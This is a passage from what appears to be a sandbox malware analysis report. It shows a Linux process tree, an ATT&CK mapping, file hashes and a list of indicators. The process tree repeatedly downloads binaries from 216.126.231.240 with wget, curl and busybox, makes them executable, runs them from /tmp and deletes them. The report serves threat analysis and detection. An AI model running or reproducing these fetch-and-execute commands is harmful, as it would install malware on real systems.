  /bin/busybox wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:970
- /bin/chmod
  chmod 777 NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  ./NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:973
- /usr/bin/wget
  wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:976
- /bin/chmod
  chmod 777 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  ./4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:979
- /usr/bin/wget
  wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:982
- /bin/chmod
  chmod 777 EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  ./EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:985
- /usr/bin/wget
  wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:986
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:988
- /bin/chmod
  chmod 777 DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  ./DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:991

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE

Path /tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	752	DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	759	zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	771	YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	816	qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	822	Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	858	j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	864	6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	870	tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	876	19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	882	UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	888	2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	894	NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	900	4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	906	EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	912	zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	918	YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	924	qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	930	Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	936	j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	942	6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	948	tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	954	19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	960	UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	966	2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	972	NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	978	4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	984	EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	990	DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE